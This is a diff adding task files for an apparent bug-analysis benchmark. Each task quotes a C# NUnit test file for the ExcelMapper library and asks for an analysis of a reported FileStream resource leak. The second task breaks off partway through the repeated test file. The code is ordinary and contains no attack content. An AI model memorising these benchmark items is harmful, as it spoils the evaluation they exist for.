+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2464/instruction.md b/inferredbugs-2464/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ff82fd3dc3a4aecbe3c25ff66ee3d3e8fe481367
--- /dev/null
+++ b/inferredbugs-2464/instruction.md
@@ -0,0 +1,793 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ExcelMapper
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NPOI.SS.UserModel;
+using NUnit.Framework;
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using Ganss.Excel.Exceptions;
+using System.Runtime.Serialization.Formatters.Binary;
+using System.IO;
+
+namespace Ganss.Excel.Tests
+{
+    public class Tests
+    {
+        [SetUp]
+        public void Setup()
+        {
+            Environment.CurrentDirectory = TestContext.CurrentContext.TestDirectory;
+        }
+
+        private class Product
+        {
+            public string Name { get; set; }
+            [Column("Number")]
+            public int NumberInStock { get; set; }
+            public decimal Price { get; set; }
+            public string Value { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is Product o)) return false;
+                return o.Name == Name && o.NumberInStock == NumberInStock && o.Price == Price && o.Value == Value;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + NumberInStock + Price + Value).GetHashCode();
+            }
+        }
+
+        private class ProductValue
+        {
+            public decimal Value { get; set; }
+        }
+
+        private class ProductValueString
+        {
+            public decimal Value { get; set; }
+            public string ValueDefaultAsFormula { get; set; }
+            [FormulaResult]
+            public string ValueAsString { get; set; }
+        }
+
+        [Test]
+        public void FetchTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch<Product>().ToList();
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch(typeof(Product));
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithStreamAndIndexTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch<Product>(stream, 0);
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeUsingStreamAndIndexTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch(stream, typeof(Product), 0);
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithStreamAndSheetNameTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch<Product>(stream, "Tabelle1");
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeUsingStreamAndSheetNameTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch(stream, typeof(Product), "Tabelle1");
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithFileAndSheetNameTest()
+        {
+            var products = new ExcelMapper().Fetch<Product>(@"..\..\..\products.xlsx", "Tabelle1");
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithFileAndIndexTest()
+        {
+            var products = new ExcelMapper().Fetch<Product>(@"..\..\..\products.xlsx", 0);
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeThrowsExceptionWithPrimitivesTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx");
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(string)));
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(object)));
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(int)));
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(double?)));
+        }
+
+        [Test]
+        public void FetchValueTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch<ProductValue>().ToList();
+            CollectionAssert.AreEqual(new List<decimal> { 119.4m, 98.67m, 99m }, products.Select(p => p.Value).ToList());
+        }
+
+        [Test]
+        public void FetchValueWithTypeTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch(typeof(ProductValue))
+                                                                     .OfType<ProductValue>()
+                                                                     .ToList();
+            CollectionAssert.AreEqual(new List<decimal> { 119.4m, 98.67m, 99m }, products.Select(p => p.Value).ToList());
+        }
+
+        private class ProductException : Product
+        {
+            public bool Offer { get; set; }
+        }
+
+        [Test]
+        public void FetchExcpetionWhenEmptyTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionEmpty.xlsx").Fetch<ProductException>().ToList());
+            Assert.That(ex.Message.Contains("<EMPTY>"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:2]"));
+        }
+
+        [Test]
+        public void FetchWithTypeExcpetionWhenEmptyTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionEmpty.xlsx").Fetch(typeof(ProductException))
+                                                                                                                              .OfType<ProductException>()
+                                                                                                                              .ToList());
+            Assert.That(ex.Message.Contains("<EMPTY>"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:2]"));
+        }
+
+        [Test]
+        public void FetchExcpetionWhenFieldTooBigTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionTooBig.xlsx").Fetch<ProductException>().ToList());
+            //2147483649 is Int.MaxValue + 1
+            Assert.That(ex.Message.Contains("2147483649"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:1]"));
+        }
+
+        [Test]
+        public void FetchExcpetionWhenFieldInvalidTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionInvalid.xlsx").Fetch<ProductException>().ToList());
+            Assert.That(ex.Message.Contains("FALSEd"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:3]"));
+        }
+
+        [Test]
+        public void FetchExceptionWhenSheetDoesNotExists()
+        {
+            var ex = Assert.Throws<ArgumentOutOfRangeException>(() => new ExcelMapper(@"..\..\..\productsExceptionInvalid.xlsx").Fetch<ProductException>("this sheet does not exist").ToList());
+            Assert.That(ex.Message.Contains("Sheet not found"));
+        }
+
+        [Test]
+        public void FetchWithTypeThrowsExceptionWhenSheetDoesNotExists()
+        {
+            var ex = Assert.Throws<ArgumentOutOfRangeException>(() => new ExcelMapper(@"..\..\..\productsExceptionInvalid.xlsx").Fetch(typeof(ProductException), "This is not a exist")
+                                                                                                                                .OfType<ProductException>()
+                                                                                                                                .ToList());
+            Assert.That(ex.Message.Contains("Sheet not found"));
+        }
+
+        private class ProductNoHeader
+        {
+            [Column(1)]
+            public string Name { get; set; }
+            [Column(3)]
+            public int NumberInStock { get; set; }
+            [Column(4)]
+            public decimal Price { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is ProductNoHeader o)) return false;
+                return o.Name == Name && o.NumberInStock == NumberInStock && o.Price == Price;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + NumberInStock + Price).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void FetchNoHeaderTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\productsnoheader.xlsx") { HeaderRow = false }.Fetch<ProductNoHeader>("Products").ToList();
+            CollectionAssert.AreEqual(new List<ProductNoHeader>
+            {
+                new ProductNoHeader { Name = "Nudossi", NumberInStock = 60, Price = 1.99m },
+                new ProductNoHeader { Name = "Halloren", NumberInStock = 33, Price = 2.99m },
+                new ProductNoHeader { Name = "Filinchen", NumberInStock = 100, Price = 0.99m },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeNoHeaderTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\productsnoheader.xlsx") { HeaderRow = false }.Fetch(typeof(ProductNoHeader), "Products")
+                                                                                                   .OfType<ProductNoHeader>()
+                                                                                                   .ToList();
+            CollectionAssert.AreEqual(new List<ProductNoHeader>
+            {
+                new ProductNoHeader { Name = "Nudossi", NumberInStock = 60, Price = 1.99m },
+                new ProductNoHeader { Name = "Halloren", NumberInStock = 33, Price = 2.99m },
+                new ProductNoHeader { Name = "Filinchen", NumberInStock = 100, Price = 0.99m },
+            }, products);
+        }
+
+        [Test]
+        public void SaveTest()
+        {
+            var products = new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C4*D4" },
+            };
+
+            var file = "productssave.xlsx";
+
+            new ExcelMapper().Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file).Fetch<Product>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        [Test]
+        public void SaveNoHeaderSaveTest()
+        {
+            var products = new List<ProductNoHeader>
+            {
+                new ProductNoHeader { Name = "Nudossi", NumberInStock = 60, Price = 1.99m },
+                new ProductNoHeader { Name = "Halloren", NumberInStock = 33, Price = 2.99m },
+                new ProductNoHeader { Name = "Filinchen", NumberInStock = 100, Price = 0.99m },
+            };
+
+            var file = "productsnoheadersave.xlsx";
+
+            new ExcelMapper() { HeaderRow = false }.Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file) { HeaderRow = false }.Fetch<ProductNoHeader>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        [Test]
+        public void SaveFetchedTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx");
+            var products = excel.Fetch<Product>().ToList();
+
+            products[2].Price += 1.0m;
+
+            var file = @"productssavefetched.xlsx";
+
+            excel.Save(file, products);
+
+            var productsFetched = new ExcelMapper(file).Fetch<Product>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class ProductMapped
+        {
+            public string NameX { get; set; }
+            public int NumberX { get; set; }
+            public decimal PriceX { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is ProductMapped o)) return false;
+                return o.NameX == NameX && o.NumberX == NumberX && o.PriceX == PriceX;
+            }
+
+            public override int GetHashCode()
+            {
+                return (NameX + NumberX + PriceX).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void SaveTrackedObjectsTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx") { TrackObjects = true };
+
+            excel.AddMapping(typeof(ProductMapped), "Name", "NameX");
+            excel.AddMapping<ProductMapped>("Number", p => p.NumberX);
+            excel.AddMapping<ProductMapped>("Price", p => p.PriceX);
+
+            var products = excel.Fetch<ProductMapped>().ToList();
+
+            products[1].PriceX += 1.0m;
+
+            var file = @"productssavetracked.xlsx";
+
+            excel.Save(file);
+
+            var productsFetched = new ExcelMapper(file).Fetch<ProductMapped>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class GetterSetterProduct
+        {
+            public string Name { get; set; }
+            public DateTime? OfferEnd { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is GetterSetterProduct o)) return false;
+                return o.Name == Name && o.OfferEnd == OfferEnd;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + OfferEnd).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void GetterSetterTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\productsconvert.xlsx") { TrackObjects = true };
+
+            excel.AddMapping<GetterSetterProduct>("Name", p => p.Name);
+            excel.AddMapping<GetterSetterProduct>("OfferEnd", p => p.OfferEnd)
+                .SetCellUsing((c, o) =>
+                {
+                    if (o == null) c.SetCellValue("NULL"); else c.SetCellValue((DateTime)o);
+                })
+                .SetPropertyUsing(v =>
+                {
+                    if ((v as string) == "NULL") return null;
+                    return Convert.ChangeType(v, typeof(DateTime), CultureInfo.InvariantCulture);
+                });
+
+            var products = excel.Fetch<GetterSetterProduct>().ToList();
+
+            var file = @"productsconverttracked.xlsx";
+
+            excel.Save(file);
+
+            var productsFetched = new ExcelMapper(file).Fetch<GetterSetterProduct>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class IgnoreProduct
+        {
+            public string Name { get; set; }
+            [Ignore]
+            public int Number { get; set; }
+            public decimal Price { get; set; }
+            public bool Offer { get; set; }
+            public DateTime OfferEnd { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is IgnoreProduct o)) return false;
+                return o.Name == Name && o.Number == Number && o.Price == Price && o.Offer == Offer && o.OfferEnd == OfferEnd;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + Number + Price + Offer + OfferEnd).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void IgnoreTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx");
+            excel.Ignore<IgnoreProduct>(p => p.Price);
+            var products = excel.Fetch<IgnoreProduct>().ToList();
+
+            var nudossi = products[0];
+            Assert.AreEqual("Nudossi", nudossi.Name);
+            Assert.AreEqual(0, nudossi.Number);
+            Assert.AreEqual(0m, nudossi.Price);
+            Assert.IsFalse(nudossi.Offer);
+
+            var halloren = products[1];
+            Assert.IsTrue(halloren.Offer);
+            Assert.AreEqual(new DateTime(2015, 12, 31), halloren.OfferEnd);
+
+            var file = "productsignored.xlsx";
+
+            new ExcelMapper().Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file).Fetch<IgnoreProduct>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class NullableProduct
+        {
+            public string Name { get; set; }
+            public int? Number { get; set; }
+            public decimal? Price { get; set; }
+            public bool? Offer { get; set; }
+            public DateTime? OfferEnd { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is NullableProduct o)) return false;
+                return o.Name == Name && o.Number == Number && o.Price == Price && o.Offer == Offer && o.OfferEnd == OfferEnd;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + Number + Price + Offer + OfferEnd).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void NullableTest()
+        {
+            var workbook = WorkbookFactory.Create(@"..\..\..\products.xlsx");
+            var excel = new ExcelMapper(workbook);
+            var products = excel.Fetch<NullableProduct>().ToList();
+
+            var nudossi = products[0];
+            Assert.AreEqual("Nudossi", nudossi.Name);
+            Assert.AreEqual(60, nudossi.Number);
+            Assert.AreEqual(1.99m, nudossi.Price);
+            Assert.IsFalse(nudossi.Offer.Value);
+            nudossi.OfferEnd = null;
+
+            var halloren = products[1];
+            Assert.IsTrue(halloren.Offer.Value);
+            Assert.AreEqual(new DateTime(2015, 12, 31), halloren.OfferEnd);
+            halloren.Number = null;
+            halloren.Offer = null;
+
+            var file = "productsnullable.xlsx";
+
+            new ExcelMapper().Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file).Fetch<NullableProduct>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class DataFormatProduct
+        {
+            [DataFormat(0xf)]
+            public DateTime Date { get; set; }
+
+            [DataFormat("0%")]
+            public decimal Number { get; set; }
+        }
+
+        [Test]
+        public void DataFormatTest()
+        {
+            var p = new DataFormatProduct { Date = new DateTime(2015, 12, 31), Number = 0.47m };
+            var file = "productsdataformat.xlsx";
+            new ExcelMapper().Save(file, new[] { p });
+            var pfs = new ExcelMapper(file).Fetch<DataFormatProduct>().ToList();
+
+            Assert.AreEqual(1, pfs.Count);
+            var pf = pfs[0];
+            Assert.AreEqual(p.Date, pf.Date);
+            Assert.AreEqual(p.Number, pf.Number);
+        }
+
+        private class DataItem
+        {
+            [Ignore]
+            public string Bql { get; set; }
+
+            [Ignore]
+            public int Id { get; set; }
+
+            [Column(2)]
+            public string OriginalBql { get; set; }
+
+            [Column(1)]
+            public string Title { get; set; }
+
+            [Column(3)]
+            public string TranslatedBql { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is DataItem o)) return false;
+                return o.Bql == Bql && o.Id == Id && o.OriginalBql == OriginalBql && o.Title == Title && o.TranslatedBql == TranslatedBql;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Bql + Id + OriginalBql + Title + TranslatedBql).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void ColumnTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\dataitems.xlsx") { HeaderRow = false };
+            var items = excel.Fetch<DataItem>().ToList();
+
+            var trackedFile = "dataitemstracked.xlsx";
+            excel.Save(trackedFile, "DataItems");
+            var itemsTracked = excel.Fetch<DataItem>(trackedFile, "DataItems").ToList();
+            CollectionAssert.AreEqual(items, itemsTracked);
+
+            var saveFile = "dataitemssave.xlsx";
+            new ExcelMapper().Save(saveFile, items, "DataItems");
+            var itemsSaved = new ExcelMapper().Fetch<DataItem>(saveFile, "DataItems").ToList();
+            CollectionAssert.AreEqual(items, itemsSaved);
+        }
+
+        [Test]
+        public void ColumnTestUsingFetchWithType()
+        {
+            var excel = new ExcelMapper(@"..\..\..\dataitems.xlsx") { HeaderRow = false };
+            var items = excel.Fetch(typeof(DataItem)).OfType<DataItem>().ToList();
+
+            var trackedFile = "dataitemstracked.xlsx";
+            excel.Save(trackedFile, "DataItems");
+            var itemsTracked = excel.Fetch(trackedFile, typeof(DataItem), "DataItems").OfType<DataItem>().ToList();
+            CollectionAssert.AreEqual(items, itemsTracked);
+
+            var saveFile = "dataitemssave.xlsx";
+            new ExcelMapper().Save(saveFile, items, "DataItems");
+            var itemsSaved = new ExcelMapper().Fetch(saveFile, typeof(DataItem), "DataItems").OfType<DataItem>().ToList();
+            CollectionAssert.AreEqual(items, itemsSaved);
+        }
+
+        [Test]
+        public void FetchMinMaxTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\ProductsMinMaxRow.xlsx")
+            {
+                HeaderRowNumber = 2,
+                MinRowNumber = 6,
+                MaxRowNumber = 9,
+            }.Fetch<Product>().ToList();
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C7*D7" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C8*D8" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C10*D10" },
+            }, products);
+        }
+
+        [Test]
+        public void SaveMinMaxTest()
+        {
+            var products = new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C4*D4" },
+            };
+
+            var file = "productsminmaxsave.xlsx";
+
+            new ExcelMapper
+            {
+                HeaderRowNumber = 1,
+                MinRowNumber = 3
+            }.Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file)
+            {
+                HeaderRowNumber = 1,
+                MinRowNumber = 3
+            }.Fetch<Product>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        [Test]
+        public void FormulaResultAttributeTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\ProductsAsString.xlsx").Fetch<ProductValueString>().ToList();
+            CollectionAssert.AreEqual(new List<string> { "119.4", "98.67", "99" }, products.Select(p => p.ValueAsString).ToList());
+        }
+
+        private class ProductFormulaMapped
+        {
+            public decimal Result { get; set; }
+            public string Formula { get; set; }
+            public string ResultString { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is ProductFormulaMapped o)) return false;
+                return o.Result == Result && o.Formula == Formula && o.ResultString == ResultString;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Formula + ResultString + Result).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void FormulaResultMappedTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\ProductsAsString.xlsx");
+
+            excel.AddMapping<ProductFormulaMapped>("Value", p => p.Result);
+            excel.AddMapping<ProductFormulaMapped>("ValueDefaultAsFormula", p => p.Formula);
+            excel.AddMapping<ProductFormulaMapped>("ValueAsString", p => p.ResultString).AsFormulaResult();
+
+            var products = excel.Fetch<ProductFormulaMapped>().ToList();
+            var expectedProducts = new List<ProductFormulaMapped>
+            {
+                new ProductFormulaMapped { Result = 119.4m, Formula = "C2*D2", ResultString = "119.4" },
+                new ProductFormulaMapped { Result = 98.67m, Formula = "C3*D3", ResultString = "98.67" },
+                new ProductFormulaMapped { Result = 99m, Formula = "C5*D5", ResultString = "99" },
+            };
+
+            Assert.AreEqual(expectedProducts[0], products[0]);
+
+            CollectionAssert.AreEqual(expectedProducts, products);
+        }
+
+        [Test]
+        public void TestExcelMapperConvertException()
+        {
+            ExcelMapperConvertException ex =
+                new ExcelMapperConvertException("cellvalue", typeof(string), 12, 34);
+
+            // Sanity check: Make sure custom properties are set before serialization
+            Assert.AreEqual(12, ex.Line);
+            Assert.AreEqual(34, ex.Column);
+
+            // Round-trip the exception: Serialize and de-serialize with a BinaryFormatter
+            var bf = new BinaryFormatter();
+            using (var ms = new MemoryStream())
+            {
+                // "Save" object state
+                bf.Serialize(ms, ex);
+
+                // Re-use the same stream for de-serialization
+                ms.Seek(0, 0);
+
+                // Replace the original exception with de-serialized one
+                ex = (ExcelMapperConvertException)bf.Deserialize(ms);
+            }
+
+            // Make sure custom properties are preserved after serialization
+            Assert.AreEqual(12, ex.Line);
+            Assert.AreEqual(34, ex.Column);
+
+            Assert.Throws<ArgumentNullException>(() => ex.GetObjectData(null, new System.Runtime.Serialization.StreamingContext()));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource stream of type System.IO.FileStream in method "Void Tests.FetchWithTypeUsingStreamAndSheetNameTest()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Tests.FetchWithTypeUsingStreamAndSheetNameTest()
+
+### File:
+ExcelMapper.Tests/Tests.cs
+
+### Key:
+Tests.cs|FetchWithTypeUsingStreamAndSheetNameTest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+ee4d8d63ee39758d45c9f935d2e432c0
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2465/instruction.md b/inferredbugs-2465/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..14418689e83854feb176cdc986c31513a40d4484
--- /dev/null
+++ b/inferredbugs-2465/instruction.md
@@ -0,0 +1,793 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ExcelMapper
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NPOI.SS.UserModel;
+using NUnit.Framework;
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using Ganss.Excel.Exceptions;
+using System.Runtime.Serialization.Formatters.Binary;
+using System.IO;
+
+namespace Ganss.Excel.Tests
+{
+    public class Tests
+    {
+        [SetUp]
+        public void Setup()
+        {
+            Environment.CurrentDirectory = TestContext.CurrentContext.TestDirectory;
+        }
+
+        private class Product
+        {
+            public string Name { get; set; }
+            [Column("Number")]
+            public int NumberInStock { get; set; }
+            public decimal Price { get; set; }
+            public string Value { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is Product o)) return false;
+                return o.Name == Name && o.NumberInStock == NumberInStock && o.Price == Price && o.Value == Value;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + NumberInStock + Price + Value).GetHashCode();
+            }
+        }
+
+        private class ProductValue
+        {
+            public decimal Value { get; set; }
+        }
+
+        private class ProductValueString
+        {
+            public decimal Value { get; set; }
+            public string ValueDefaultAsFormula { get; set; }
+            [FormulaResult]
+            public string ValueAsString { get; set; }
+        }
+
+        [Test]
+        public void FetchTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch<Product>().ToList();
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch(typeof(Product));
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithStreamAndIndexTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch<Product>(stream, 0);
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeUsingStreamAndIndexTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch(stream, typeof(Product), 0);
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithStreamAndSheetNameTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch<Product>(stream, "Tabelle1");
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
